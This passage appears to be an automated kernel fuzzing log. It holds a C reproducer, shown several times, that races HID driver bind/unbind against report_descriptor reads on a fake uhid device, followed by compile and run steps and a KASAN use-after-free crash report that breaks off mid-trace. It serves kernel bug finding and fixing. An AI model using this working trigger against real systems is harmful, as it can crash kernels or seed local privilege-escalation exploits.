#include <dirent.h>
#include <linux/uhid.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <errno.h>
#include "race_toolkit.h"
int uhid_fd;
char dev_name[256];
volatile int stop = 0;
struct {
int vendor;
int product;
const char *driver;
} target_devices[] = {
{ 0x05ac, 0x0304, "apple" }, // hid-apple
{ 0x046d, 0xc082, "logitech-hidpp" }, // hid-logitech-hidpp
{ 0x0596, 0x0500, "hid-multitouch" }, // hid-multitouch
{ 0x046a, 0x0023, "cherry" } // hid-cherry
};
int target_idx = -1;
void create_uhid(int idx) {
uhid_fd = open("/dev/uhid", O_RDWR);
if (uhid_fd < 0) {
printf("[-] Failed to open /dev/uhid: %s\n", strerror(errno));
exit(1);
}
printf("[+] Opened /dev/uhid successfully.\n");
struct uhid_event ev = {0};
ev.type = UHID_CREATE2;
sprintf((char*)ev.u.create2.name, "test-uhid-%d", idx);
ev.u.create2.rd_size = 85;
ev.u.create2.bus = 3; // BUS_USB
ev.u.create2.vendor = target_devices[idx].vendor;
ev.u.create2.product = target_devices[idx].product;
if (write(uhid_fd, &ev, sizeof(ev)) < 0) {
printf("[-] Failed to write UHID_CREATE2: %s\n", strerror(errno));
exit(1);
}
printf("[+] Created uhid device %d successfully.\n", idx);
}
void find_dev_name(int idx) {
DIR *dir = opendir("/sys/bus/hid/devices");
if (!dir) {
printf("[-] Failed to open /sys/bus/hid/devices: %s\n", strerror(errno));
return;
}
struct dirent *ent;
char search[32];
sprintf(search, "0003:%04X:%04X", target_devices[idx].vendor, target_devices[idx].product);
while ((ent = readdir(dir)) != NULL) {
if (strstr(ent->d_name, search)) {
strcpy(dev_name, ent->d_name);
break;
}
}
closedir(dir);
}
void* read_thread(void* arg) {
int fd = *(int*)arg;
char buf[256];
while (!stop) {
pread(fd, buf, sizeof(buf), 0);
}
return NULL;
}
void* bind_thread(void* arg) {
int bind_fd = ((int*)arg)[0];
int unbind_fd = ((int*)arg)[1];
int len = strlen(dev_name);
while (!stop) {
if (write(unbind_fd, dev_name, len) < 0) {
// Ignore errors as it might already be unbound
}
if (write(bind_fd, dev_name, len) < 0) {
// Ignore errors as it might already be bound
}
}
return NULL;
}
int main() {
SETUP_UNBUFFERED_IO();
int bind_fd = -1, unbind_fd = -1;
for (int i = 0; i < 4; i++) {
create_uhid(i);
dev_name[0] = '\0';
for (int j = 0; j < 20; j++) {
find_dev_name(i);
if (dev_name[0] != '\0') break;
usleep(100000);
}
if (dev_name[0] != '\0') {
printf("[+] Found device name: %s\n", dev_name);
char path[512];
snprintf(path, sizeof(path), "/sys/bus/hid/drivers/%s/bind", target_devices[i].driver);
bind_fd = open(path, O_WRONLY);
snprintf(path, sizeof(path), "/sys/bus/hid/drivers/%s/unbind", target_devices[i].driver);
unbind_fd = open(path, O_WRONLY);
if (bind_fd >= 0 && unbind_fd >= 0) {
target_idx = i;
printf("[+] Successfully opened bind and unbind files for driver %s.\n", target_devices[i].driver);
break;
} else {
printf("[-] Failed to open bind/unbind for driver %s.\n", target_devices[i].driver);
}
if (bind_fd >= 0) close(bind_fd);
if (unbind_fd >= 0) close(unbind_fd);
} else {
printf("[-] Device name not found for index %d.\n", i);
}
struct uhid_event ev = {0};
ev.type = UHID_DESTROY;
if (write(uhid_fd, &ev, sizeof(ev)) < 0) {
printf("[-] Failed to write UHID_DESTROY: %s\n", strerror(errno));
}
close(uhid_fd);
}
if (target_idx == -1) {
printf("[-] No suitable device/driver found.\n");
return 1;
}
printf("[+] Using driver %s with device %s\n", target_devices[target_idx].driver, dev_name);
char path[512];
snprintf(path, sizeof(path), "/sys/bus/hid/devices/%s/report_descriptor", dev_name);
int fd = -1;
for (int i = 0; i < 50; i++) {
fd = open(path, O_RDONLY);
if (fd >= 0) break;
usleep(100000);
}
if (fd < 0) {
printf("[-] Failed to open report_descriptor: %s\n", strerror(errno));
return 1;
}
printf("[+] Opened report_descriptor successfully.\n");
int fds[2] = {bind_fd, unbind_fd};
pthread_t t_read[4];
pthread_t t_bind;
for (int i = 0; i < 4; i++) {
if (pthread_create(&t_read[i], NULL, read_thread, &fd) != 0) {
printf("[-] Failed to create read thread %d\n", i);
return 1;
}
}
printf("[+] Created read threads.\n");
if (pthread_create(&t_bind, NULL, bind_thread, fds) != 0) {
printf("[-] Failed to create bind thread\n");
return 1;
}
printf("[+] Created bind thread.\n");
printf("[+] Waiting for 10 seconds to trigger race...\n");
sleep(10);
stop = 1;
for (int i = 0; i < 4; i++) {
pthread_join(t_read[i], NULL);
}
pthread_join(t_bind, NULL);
close(fd);
close(bind_fd);
close(unbind_fd);
struct uhid_event ev = {0};
ev.type = UHID_DESTROY;
write(uhid_fd, &ev, sizeof(ev));
close(uhid_fd);
printf("[+] Done\n");
return 0;
}
]
|
| 226/3 |
2026/05/19 10:22 |
loop |
|
0m
|
| 227/4 |
2026/05/19 10:22 |
iteration |
0 |
0m
|
| 228/5 |
2026/05/19 10:22 |
action |
merge-repro-c |
0m
Results: map[CurrentCandidateReproC:#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <pthread.h>
#include <dirent.h>
#include <linux/uhid.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <errno.h>
#include "race_toolkit.h"
int uhid_fd;
char dev_name[256];
volatile int stop = 0;
struct {
int vendor;
int product;
const char *driver;
} target_devices[] = {
{ 0x05ac, 0x0304, "apple" }, // hid-apple
{ 0x046d, 0xc082, "logitech-hidpp" }, // hid-logitech-hidpp
{ 0x0596, 0x0500, "hid-multitouch" }, // hid-multitouch
{ 0x046a, 0x0023, "cherry" } // hid-cherry
};
int target_idx = -1;
void create_uhid(int idx) {
uhid_fd = open("/dev/uhid", O_RDWR);
if (uhid_fd < 0) {
printf("[-] Failed to open /dev/uhid: %s\n", strerror(errno));
exit(1);
}
printf("[+] Opened /dev/uhid successfully.\n");
struct uhid_event ev = {0};
ev.type = UHID_CREATE2;
sprintf((char*)ev.u.create2.name, "test-uhid-%d", idx);
ev.u.create2.rd_size = 85;
ev.u.create2.bus = 3; // BUS_USB
ev.u.create2.vendor = target_devices[idx].vendor;
ev.u.create2.product = target_devices[idx].product;
if (write(uhid_fd, &ev, sizeof(ev)) < 0) {
printf("[-] Failed to write UHID_CREATE2: %s\n", strerror(errno));
exit(1);
}
printf("[+] Created uhid device %d successfully.\n", idx);
}
void find_dev_name(int idx) {
DIR *dir = opendir("/sys/bus/hid/devices");
if (!dir) {
printf("[-] Failed to open /sys/bus/hid/devices: %s\n", strerror(errno));
return;
}
struct dirent *ent;
char search[32];
sprintf(search, "0003:%04X:%04X", target_devices[idx].vendor, target_devices[idx].product);
while ((ent = readdir(dir)) != NULL) {
if (strstr(ent->d_name, search)) {
strcpy(dev_name, ent->d_name);
break;
}
}
closedir(dir);
}
void* read_thread(void* arg) {
int fd = *(int*)arg;
char buf[256];
while (!stop) {
pread(fd, buf, sizeof(buf), 0);
}
return NULL;
}
void* bind_thread(void* arg) {
int bind_fd = ((int*)arg)[0];
int unbind_fd = ((int*)arg)[1];
int len = strlen(dev_name);
while (!stop) {
if (write(unbind_fd, dev_name, len) < 0) {
// Ignore errors as it might already be unbound
}
if (write(bind_fd, dev_name, len) < 0) {
// Ignore errors as it might already be bound
}
}
return NULL;
}
int main() {
SETUP_UNBUFFERED_IO();
int bind_fd = -1, unbind_fd = -1;
for (int i = 0; i < 4; i++) {
create_uhid(i);
dev_name[0] = '\0';
for (int j = 0; j < 20; j++) {
find_dev_name(i);
if (dev_name[0] != '\0') break;
usleep(100000);
}
if (dev_name[0] != '\0') {
printf("[+] Found device name: %s\n", dev_name);
char path[512];
snprintf(path, sizeof(path), "/sys/bus/hid/drivers/%s/bind", target_devices[i].driver);
bind_fd = open(path, O_WRONLY);
snprintf(path, sizeof(path), "/sys/bus/hid/drivers/%s/unbind", target_devices[i].driver);
unbind_fd = open(path, O_WRONLY);
if (bind_fd >= 0 && unbind_fd >= 0) {
target_idx = i;
printf("[+] Successfully opened bind and unbind files for driver %s.\n", target_devices[i].driver);
break;
} else {
printf("[-] Failed to open bind/unbind for driver %s.\n", target_devices[i].driver);
}
if (bind_fd >= 0) close(bind_fd);
if (unbind_fd >= 0) close(unbind_fd);
} else {
printf("[-] Device name not found for index %d.\n", i);
}
struct uhid_event ev = {0};
ev.type = UHID_DESTROY;
if (write(uhid_fd, &ev, sizeof(ev)) < 0) {
printf("[-] Failed to write UHID_DESTROY: %s\n", strerror(errno));
}
close(uhid_fd);
}
if (target_idx == -1) {
printf("[-] No suitable device/driver found.\n");
return 1;
}
printf("[+] Using driver %s with device %s\n", target_devices[target_idx].driver, dev_name);
char path[512];
snprintf(path, sizeof(path), "/sys/bus/hid/devices/%s/report_descriptor", dev_name);
int fd = -1;
for (int i = 0; i < 50; i++) {
fd = open(path, O_RDONLY);
if (fd >= 0) break;
usleep(100000);
}
if (fd < 0) {
printf("[-] Failed to open report_descriptor: %s\n", strerror(errno));
return 1;
}
printf("[+] Opened report_descriptor successfully.\n");
int fds[2] = {bind_fd, unbind_fd};
pthread_t t_read[4];
pthread_t t_bind;
for (int i = 0; i < 4; i++) {
if (pthread_create(&t_read[i], NULL, read_thread, &fd) != 0) {
printf("[-] Failed to create read thread %d\n", i);
return 1;
}
}
printf("[+] Created read threads.\n");
if (pthread_create(&t_bind, NULL, bind_thread, fds) != 0) {
printf("[-] Failed to create bind thread\n");
return 1;
}
printf("[+] Created bind thread.\n");
printf("[+] Waiting for 10 seconds to trigger race...\n");
sleep(10);
stop = 1;
for (int i = 0; i < 4; i++) {
pthread_join(t_read[i], NULL);
}
pthread_join(t_bind, NULL);
close(fd);
close(bind_fd);
close(unbind_fd);
struct uhid_event ev = {0};
ev.type = UHID_DESTROY;
write(uhid_fd, &ev, sizeof(ev));
close(uhid_fd);
printf("[+] Done\n");
return 0;
}
]
|
| 229/5 |
2026/05/19 10:22 |
action |
compile-c-prog |
0m
Results: map[CompilerError: FormattedReproC:#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <pthread.h>
#include <dirent.h>
#include <linux/uhid.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <errno.h>
// Copyright 2026 syzkaller project authors. All rights reserved.
// Use of this source code is governed by Apache 2 LICENSE that can be found in the LICENSE file.
// IMPORTANT: Do not copy the macros or definitions below directly into your reproducer.
// Instead, add the following line to your reproducer:
// #include "race_toolkit.h"
// --- Race Condition Toolkit ---
// Macros and snippets for CPU pinning, memory barriers, and userfaultfd.
#define _GNU_SOURCE
#include <errno.h>
#include <fcntl.h>
#include <linux/futex.h>
#include <linux/userfaultfd.h>
#include <poll.h>
#include <pthread.h>
#include <sched.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/ioctl.h>
#include <sys/syscall.h>
#include <unistd.h>
// Unbuffered I/O: Ensure logs are written immediately.
#define SETUP_UNBUFFERED_IO() setvbuf(stdout, NULL, _IONBF, 0)
// CPU Pinning: Pin the current thread to a specific CPU core.
#define PIN_TO_CPU(cpu) \
do { \
cpu_set_t mask; \
CPU_ZERO(&mask); \
CPU_SET(cpu, &mask); \
if (sched_setaffinity(0, sizeof(mask), &mask) == -1) { \
perror("sched_setaffinity"); \
} \
} while (0)
// Memory Barrier: Ensure memory ordering.
#define MB() __atomic_thread_fence(__ATOMIC_SEQ_CST)
// Spin-wait Barrier: Wait until a memory location has a specific value.
// Best for tight race windows (low latency, no context switches).
#define WAIT_ON(addr, val) \
do { \
while (__atomic_load_n(addr, __ATOMIC_ACQUIRE) != (val)) \
; \
} while (0)
// Signal: Set a memory location to a specific value to release a WAIT_ON.
#define SIGNAL(addr, val) __atomic_store_n(addr, val, __ATOMIC_RELEASE)
// Futex-based Event: Shared with syzkaller executor.
// Best for general synchronization or longer waits to save CPU.
typedef struct {
int state;
} event_t;
static void event_init(event_t* ev)
{
ev->state = 0;
}
static void event_reset(event_t* ev)
{
ev->state = 0;
}
static void event_set(event_t* ev)
{
if (__atomic_load_n(&ev->state, __ATOMIC_ACQUIRE)) {
fprintf(stderr, "event already set\n");
exit(1);
}
__atomic_store_n(&ev->state, 1, __ATOMIC_RELEASE);
syscall(SYS_futex, &ev->state, FUTEX_WAKE | FUTEX_PRIVATE_FLAG, 1000000);
}
static void event_wait(event_t* ev)
{
while (!__atomic_load_n(&ev->state, __ATOMIC_ACQUIRE))
syscall(SYS_futex, &ev->state, FUTEX_WAIT | FUTEX_PRIVATE_FLAG, 0, 0);
}
// userfaultfd setup: Register a memory range for page fault handling.
static int setup_uffd(void* addr, size_t len)
{
int uffd = syscall(__NR_userfaultfd, O_CLOEXEC | O_NONBLOCK);
if (uffd == -1)
return -1;
struct uffdio_api api = {.api = UFFD_API, .features = 0};
if (ioctl(uffd, UFFDIO_API, &api) == -1) {
close(uffd);
return -1;
}
struct uffdio_register reg = {
.range = {.start = (uintptr_t)addr, .len = len},
.mode = UFFDIO_REGISTER_MODE_MISSING};
if (ioctl(uffd, UFFDIO_REGISTER, ®) == -1) {
close(uffd);
return -1;
}
return uffd;
}
// --- Guidance on Usage ---
// 1. Use WAIT_ON/SIGNAL for tight race conditions to avoid scheduling overhead.
// 2. Use event_t (futexes) for general coordination or when waiting for longer periods.
// 3. Always use PIN_TO_CPU to increase race probability on multi-core systems.
// 4. Use setup_uffd to register a memory range for page fault handling. This allows you to
// pause a thread accessing that memory until you handle the fault, creating a reliable
// and controllable race window.
// 5. Call SETUP_UNBUFFERED_IO() at the start of main() to ensure that logs are printed
// immediately. This is essential for understanding the exact interleaving of events
// when debugging race conditions.
int uhid_fd;
char dev_name[256];
volatile int stop = 0;
struct {
int vendor;
int product;
const char *driver;
} target_devices[] = {
{ 0x05ac, 0x0304, "apple" }, // hid-apple
{ 0x046d, 0xc082, "logitech-hidpp" }, // hid-logitech-hidpp
{ 0x0596, 0x0500, "hid-multitouch" }, // hid-multitouch
{ 0x046a, 0x0023, "cherry" } // hid-cherry
};
int target_idx = -1;
void create_uhid(int idx) {
uhid_fd = open("/dev/uhid", O_RDWR);
if (uhid_fd < 0) {
printf("[-] Failed to open /dev/uhid: %s\n", strerror(errno));
exit(1);
}
printf("[+] Opened /dev/uhid successfully.\n");
struct uhid_event ev = {0};
ev.type = UHID_CREATE2;
sprintf((char*)ev.u.create2.name, "test-uhid-%d", idx);
ev.u.create2.rd_size = 85;
ev.u.create2.bus = 3; // BUS_USB
ev.u.create2.vendor = target_devices[idx].vendor;
ev.u.create2.product = target_devices[idx].product;
if (write(uhid_fd, &ev, sizeof(ev)) < 0) {
printf("[-] Failed to write UHID_CREATE2: %s\n", strerror(errno));
exit(1);
}
printf("[+] Created uhid device %d successfully.\n", idx);
}
void find_dev_name(int idx) {
DIR *dir = opendir("/sys/bus/hid/devices");
if (!dir) {
printf("[-] Failed to open /sys/bus/hid/devices: %s\n", strerror(errno));
return;
}
struct dirent *ent;
char search[32];
sprintf(search, "0003:%04X:%04X", target_devices[idx].vendor, target_devices[idx].product);
while ((ent = readdir(dir)) != NULL) {
if (strstr(ent->d_name, search)) {
strcpy(dev_name, ent->d_name);
break;
}
}
closedir(dir);
}
void* read_thread(void* arg) {
int fd = *(int*)arg;
char buf[256];
while (!stop) {
pread(fd, buf, sizeof(buf), 0);
}
return NULL;
}
void* bind_thread(void* arg) {
int bind_fd = ((int*)arg)[0];
int unbind_fd = ((int*)arg)[1];
int len = strlen(dev_name);
while (!stop) {
if (write(unbind_fd, dev_name, len) < 0) {
// Ignore errors as it might already be unbound
}
if (write(bind_fd, dev_name, len) < 0) {
// Ignore errors as it might already be bound
}
}
return NULL;
}
int main() {
SETUP_UNBUFFERED_IO();
int bind_fd = -1, unbind_fd = -1;
for (int i = 0; i < 4; i++) {
create_uhid(i);
dev_name[0] = '\0';
for (int j = 0; j < 20; j++) {
find_dev_name(i);
if (dev_name[0] != '\0') break;
usleep(100000);
}
if (dev_name[0] != '\0') {
printf("[+] Found device name: %s\n", dev_name);
char path[512];
snprintf(path, sizeof(path), "/sys/bus/hid/drivers/%s/bind", target_devices[i].driver);
bind_fd = open(path, O_WRONLY);
snprintf(path, sizeof(path), "/sys/bus/hid/drivers/%s/unbind", target_devices[i].driver);
unbind_fd = open(path, O_WRONLY);
if (bind_fd >= 0 && unbind_fd >= 0) {
target_idx = i;
printf("[+] Successfully opened bind and unbind files for driver %s.\n", target_devices[i].driver);
break;
} else {
printf("[-] Failed to open bind/unbind for driver %s.\n", target_devices[i].driver);
}
if (bind_fd >= 0) close(bind_fd);
if (unbind_fd >= 0) close(unbind_fd);
} else {
printf("[-] Device name not found for index %d.\n", i);
}
struct uhid_event ev = {0};
ev.type = UHID_DESTROY;
if (write(uhid_fd, &ev, sizeof(ev)) < 0) {
printf("[-] Failed to write UHID_DESTROY: %s\n", strerror(errno));
}
close(uhid_fd);
}
if (target_idx == -1) {
printf("[-] No suitable device/driver found.\n");
return 1;
}
printf("[+] Using driver %s with device %s\n", target_devices[target_idx].driver, dev_name);
char path[512];
snprintf(path, sizeof(path), "/sys/bus/hid/devices/%s/report_descriptor", dev_name);
int fd = -1;
for (int i = 0; i < 50; i++) {
fd = open(path, O_RDONLY);
if (fd >= 0) break;
usleep(100000);
}
if (fd < 0) {
printf("[-] Failed to open report_descriptor: %s\n", strerror(errno));
return 1;
}
printf("[+] Opened report_descriptor successfully.\n");
int fds[2] = {bind_fd, unbind_fd};
pthread_t t_read[4];
pthread_t t_bind;
for (int i = 0; i < 4; i++) {
if (pthread_create(&t_read[i], NULL, read_thread, &fd) != 0) {
printf("[-] Failed to create read thread %d\n", i);
return 1;
}
}
printf("[+] Created read threads.\n");
if (pthread_create(&t_bind, NULL, bind_thread, fds) != 0) {
printf("[-] Failed to create bind thread\n");
return 1;
}
printf("[+] Created bind thread.\n");
printf("[+] Waiting for 10 seconds to trigger race...\n");
sleep(10);
stop = 1;
for (int i = 0; i < 4; i++) {
pthread_join(t_read[i], NULL);
}
pthread_join(t_bind, NULL);
close(fd);
close(bind_fd);
close(unbind_fd);
struct uhid_event ev = {0};
ev.type = UHID_DESTROY;
write(uhid_fd, &ev, sizeof(ev));
close(uhid_fd);
printf("[+] Done\n");
return 0;
}
]
|
| 230/3 |
2026/05/19 10:22 |
action |
run-c-repro |
1m
Results: map[CandidateBugTitle:KASAN: slab-use-after-free Read in report_descriptor_read CandidateCrashReport:==================================================================
BUG: KASAN: slab-use-after-free in report_descriptor_read+0xb5/0x100 drivers/hid/hid-core.c:2265
Read of size 85 at addr ffff88810a256880 by task syz-executor422/5887
CPU: 0 UID: 0 PID: 5887 Comm: syz-executor422 Not tainted syzkaller #1 PREEMPT(full)
Hardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS 1.16.3-debian-1.16.3-2 04/01/2014
Call Trace:
<TASK>
dump_stack_lvl+0xe8/0x150 lib/dump_stack.c:120
print_address_description+0x55/0x1e0 mm/kasan/report.c:378
print_report+0x58/0x70 mm/kasan/report.c:482
kasan_report+0x117/0x150 mm/kasan/report.c:595
check_region_inline mm/kasan/generic.c:-1 [inline]
kasan_check_range+0x264/0x2c0 mm/kasan/generic.c:200
__asan_memcpy+0x29/0x70 mm/kasan/shadow.c:105
report_descriptor_read+0xb5/0x100 drivers/hid/hid-core.c:2265
kernfs_file_read_iter fs/kernfs/file.c:269 [inline]
kernfs_fop_read_iter+0x451/0x6b0 fs/kernfs/file.c:298
new_sync_read fs/read_write.c:493 [inline]
vfs_read+0x582/0xa70 fs/read_write.c:574
ksys_pread64 fs/read_write.c:765 [inline]
__do_sys_pread64 fs/read_write.c:773 [inline]
__se_sys_pread64 fs/read_write.c:770 [inline]
__x64_sys_pread64+0x199/0x230 fs/read_write.c:770
do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline]
do_syscall_64+0x15f/0xf80 arch/x86/entry/syscall_64.c:94
entry_SYSCALL_64_after_hwframe+0x77/0x7f
RIP: 0033:0x7f9bac0c499e
Code: 08 0f 85 f5 e2 ff ff 49 89 fb 48 89 f0 48 89 d7 48 89 ce 4c 89 c2 4d 89 ca 4c 8b 44 24 08 4c 8b 4c 24 10 4c 89 5c 24 08 0f 05 <c3> 90 41 57 41 56 4d 89 c6 41 55 4d 89 cd 41 54 55 53 48 83 ec 08
RSP: 002b:00007f9baa86a098 EFLAGS: 00000246 ORIG_RAX: 0000000000000011
RAX: ffffffffffffffda RBX: 00007f9baa86a6c0 RCX: 00007f9bac0c499e
RDX: 0000000000000100 RSI: 00007f9baa86a100 RDI: 0000000000000006
RBP: 00007f9baa86a100 R08: 0000000000000000 R09: 0000000000000000
R10: 0000000000000000 R11: 0000000000000246 R12: ffffffffffffffd0
R13: 0000000000000000 R14: 00007ffd1a266c20 R15: 00007ffd1a266d08
</TASK>
Allocated by task 5888:
kasan_save_stack mm/kasan/common.c:57 [inline]
kasan_save_track+0x3e/0x80 mm/kasan/common.c:78
poison_kmalloc_redzone mm/kasan/common.c:398 [inline]
__kasan_kmalloc+0x93/0xb0 mm/kasan/common.c:415
kasan_kmalloc include/linux/kasan.h:263 [inline]
__do_kmalloc_node mm/slub.c:5295 [inline]
__kmalloc_node_track_caller_noprof+0x4db/0x7b0 mm/slub.c:5407
kmemdup_noprof+0x2b/0x70 mm/util.c:138
kmemdup_noprof include/linux/fortify-string.h:763 [inline]
hid_open_report+0x1f7/0xf00 drivers/hid/hid-core.c:1376
hid_parse include/linux/hid.h:1206 [inline]
apple_probe+0xef/0x10b0 drivers/hid/hid-apple.c:958
__hid_device_probe drivers/hid/hid-core.c:2822 [inline]
hid_device_probe+0x416/0x7a0 drivers/hid/hid-core.c:2859
call_driver_probe drivers/base/dd.c:-1 [inline]
really_probe+0x267/0xaf0 drivers/base/dd.c:709
__driver_probe_device+0x1ef/0x380 drivers/base/dd.c:871
device_driver_attach+0xe0/0x1d0 drivers/base/dd.c:1206
bind_store+0x1d0/0x220 drivers/base/bus.c:267
kernfs_fop_write_iter+0x3af/0x540 fs/kernfs/file.c:352
new_sync_write fs/read_write.c:595 [inline]
vfs_write+0x61d/0xb90 fs/read_write.c:688
ksys_write+0x150/0x270 fs/read_write.c:740
do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline]
do_syscall_64+0x15f/0xf80 arch/x86/entry/syscall_64.c:94
entry_SYSCALL_64_after_hwframe+0x77/0x7f
Freed by task 5888:
kasan_save_stack mm/kasan/common.c:57 [inline]
kasan_save_track+0x3e/0x80 mm/kasan/common.c:78
kasan_save_free_info+0x46/0x50 mm/kasan/generic.c:584
poison_slab_object mm/kasan/common.c:253 [inline]
__kasan_slab_free+0x5c/0x80 mm/kasan/common.c:285
kasan_slab_free include/linux/kasan.h:235 [inline]
slab_free_hook mm/slub.c:2689 [inline]
slab_free mm/slub.c:6250 [inline]
kfree+0x1c5/0x640 mm/slub.c:6565
hid_close_report+0x632/0x720 drivers/hid/hid-core.c:734
hid_device_remove+0x259/0x370 drivers/hid/hid-core.c:2885
device_remove drivers/base/dd.c:619 [inline]
__device_release_driver drivers/base/dd.c:1352 [inline]
device_release_driver_internal+0x46f/0x870 drivers/base/dd.c:1375
unbind_store+0x1a1/0x1d0 drivers/base/bus.c:244
kernfs_fop_write_iter+0x3af/0x540 fs/kernfs/file.c:352
new_sync_write fs/read_write.c:595 [inline]
vfs_write+0x61d/0xb90 fs/read_write.c:688
ksys_write+0x150/0x270 fs/read_write.c:740
do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline]
do_syscall_64+0x15f/0xf80 arch/x86/entry/syscall_64.c:94
entry_SYSCALL_64_after_hwframe+0x77/0x7f
The buggy address belongs to the object at ffff88810a256880
which belongs to the cache kmalloc-96 of size 96
The buggy address is located 0 bytes inside of
freed 96-byte region [ffff88810a256880, ffff88810a2568e0)
The buggy address belongs to the physical page:
page: refcount:0 mapcount:0 mapping:0000000000000000 index:0x0 pfn:0x10a256
flags: 0x17ff00000000000(node=0|zone=2|lastcpupid=0x7ff)
page_type: f5(slab)
raw: 017ff00000000000 ffff888100041280 dead000000000100 dead000000000122
raw: 0000000000000000 0000000800200020 00000000f5000000 0000000000000000
page dumped because: kasan: bad access detected
page_owner tracks the page as allocated
page last allocated via order 0, migratetype Unmovable, gfp_mask 0xd2cc0(GFP_KERNEL|__GFP_NOWARN|__GFP_NORETRY|__GFP_COMP|__GFP_NOMEMALLOC), pid 52, tgid 52 (kworker/u9:2), ts 4499508242, free_ts 0
set_page_owner include/linux/page_owner.h:32 [inline]
post_alloc_hook+0x231/0x280 mm/page_alloc.c:1858
prep_new_page mm/page_alloc.c:1866 [inline]
get_page_from_freelist+0x24ba/0x2540 mm/page_alloc.c:3946
__alloc_frozen_pages_noprof+0x18d/0x380 mm/page_alloc.c:5226
alloc_slab_page mm/slub.c:3278 [inline]
allocate_slab+0x77/0x660 mm/slub.c:3467
new_slab mm/slub.c:3525 [inline]
refill_objects+0x339/0x3d0 mm/slub.c:7271
refill_sheaf mm/slub.c:2816 [inline]
__pcs_replace_empty_main+0x321/0x720 mm/slub.c:4651
alloc_from_pcs mm/slub.c:4749 [inline]
slab_alloc_node mm/slub.c:4883 [inline]
__kmalloc_cache_node_noprof+0x465/0x6b0 mm/slub.c:5427
kmalloc_node_noprof include/linux/slab.h:1077 [inline]
__get_vm_area_node+0x13f/0x300 mm/vmalloc.c:3215
__vmalloc_node_range_noprof+0x36a/0x1750 mm/vmalloc.c:4024
__vmalloc_node_noprof+0xc2/0x100 mm/vmalloc.c:4124
alloc_thread_stack_node kernel/fork.c:357 [inline]
dup_task_struct+0x298/0x840 kernel/fork.c:926
copy_process+0x89b/0x4440 kernel/fork.c:2090
kernel_clone+0x284/0x8f0 kernel/fork.c:2721
user_mode_thread+0x110/0x180 kernel/fork.c:2797
call_usermodehelper_exec_work+0x5c/0x230 kernel/umh.c:171
process_one_work kernel/workqueue.c:3314 [inline]
process_scheduled_works+0xb5d/0x1860 kernel/workqueue.c:3397
page_owner free stack trace missing
Memory state around the buggy address:
ffff88810a256780: fa fb fb fb fb fb fb fb fb fb fb fb fc fc fc fc
ffff88810a256800: fa fb fb fb fb fb fb fb fb fb fb fb fc fc fc fc
>ffff88810a256880: fa fb fb fb fb fb fb fb fb fb fb fb fc fc fc fc
^
ffff88810a256900: fa fb fb fb fb fb fb fb fb fb fb fb fc fc fc fc
ffff88810a256980: fa fb fb fb fb fb fb fb fb fb fb fb fc fc fc fc
==================================================================
CandidateReproduced:true ConsoleOutput:Warning: Permanently added '[localhost]:4152' (ED25519) to the list of known hosts.
[+] Opened /dev/uhid successfully.
[ 69.193370][ T60] apple 0003:05AC:0304.0001: unknown main item tag 0x0
[ 69.195575][ T60] apple 0003:05AC:0304.0001: unknown main item tag 0x0
[ 69.197678][ T60] apple 0003:05AC:0304.0001: unknown main item tag 0x0
[+] Created uhid device 0 successfully.
[+] Found device name: 0003:05AC:0304.0001
[+] Successfully opened bind and unbind files for driver apple.
[+] Using driver apple with device 0003:05AC:0304.0001
[ 69.202527][ T60] apple 0003:05AC:0304.0001: unknown main item tag 0x0
[+] Opened report_descriptor successfully.
[ 69.219730][ T60] apple 0003:05AC:0304.0001: unknown main item tag 0x0
[+] Created read threads.
[+] Created bind thread.
[+] Waiting for 10 seconds to trigger race...
[ 69.222886][ T60] apple 0003:05AC:0304.0001: unknown main item tag 0x0
[ 69.228506][ T60] apple 0003:05AC:0304.0001: unknown main item tag 0x0
[ 69.233905][ T60] apple 0003:05AC:0304.0001: unknown main item tag 0x0
[ 69.240813][ T60] apple 0003:05AC:0304.0001: unknown main item tag 0x0
[ 69.247765][ T60] apple 0003:05AC:0304.0001: unknown main item tag 0x0
[ 69.261712][ T60] apple 0003:05AC:0304.0001: hidraw0: USB HID v0.00 Device [test-uhid-0] on
[ 69.290857][ T5888] apple 0003:05AC:0304.0001: hidraw0: USB HID v0.00 Device [test-uhid-0] on
[ 69.312408][ T5888] apple 0003:05AC:0304.0001: hidraw0: USB HID v0.00 Device [test-uhid-0] on
[ 69.340696][ T5888] apple 0003:05AC:0304.0001: hidraw0: USB HID v0.00 Device [test-uhid-0] on
[ 69.348961][ T5888] apple 0003:05AC:0304.0001: hidraw0: USB HID v0.00 Device [test-uhid-0] on
[ 69.367822][ T5888] apple 0003:05AC:0304.0001: hidraw0: USB HID v0.00 Device [test-uhid-0] on
[ 69.386910][ T5888] apple 0003:05AC:0304.0001: hidraw0: USB HID v0.00 Device [test-uhid-0] on
[ 69.407073][ T5888] apple 0003:05AC:0304.0001: hidraw0: USB HID v0.00 Device [test-uhid-0] on
[ 69.424695][ T5888] apple 0003:05AC:0304.0001: hidraw0: USB HID v0.00 Device [test-uhid-0] on
[ 69.441630][ T5887] ==================================================================
[ 69.444223][ T5887] BUG: KASAN: slab-use-after-free in report_descriptor_read+0xb5/0x100
[ 69.446722][ T5887] Read of size 85 at addr ffff88810a256880 by task syz-executor422/5887
[ 69.449837][ T5887]
[ 69.450595][ T5887] CPU: 0 UID: 0 PID: 5887 Comm: syz-executor422 Not tainted syzkaller #1 PREEMPT(full)
[ 69.450605][ T5887] Hardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS 1.16.3-debian-1.16.3-2 04/01/2014
[ 69.450609][ T5887] Call Trace:
[ 69.450613][ T5887] <TASK>
[ 69.450617][ T5887] dump_stack_lvl+0xe8/0x150
[ 69.450627][ T5887] print_address_description+0x55/0x1e0
[ 69.450635][ T5887] ? report_descriptor_read+0xb5/0x100
[ 69.450642][ T5887] print_report+0x58/0x70
[ 69.450648][ T5887] kasan_report+0x117/0x150
[ 69.450665][ T5887] ? report_descriptor_read+0xb5/0x100
[ 69.450672][ T5887] kasan_check_range+0x264/0x2c0
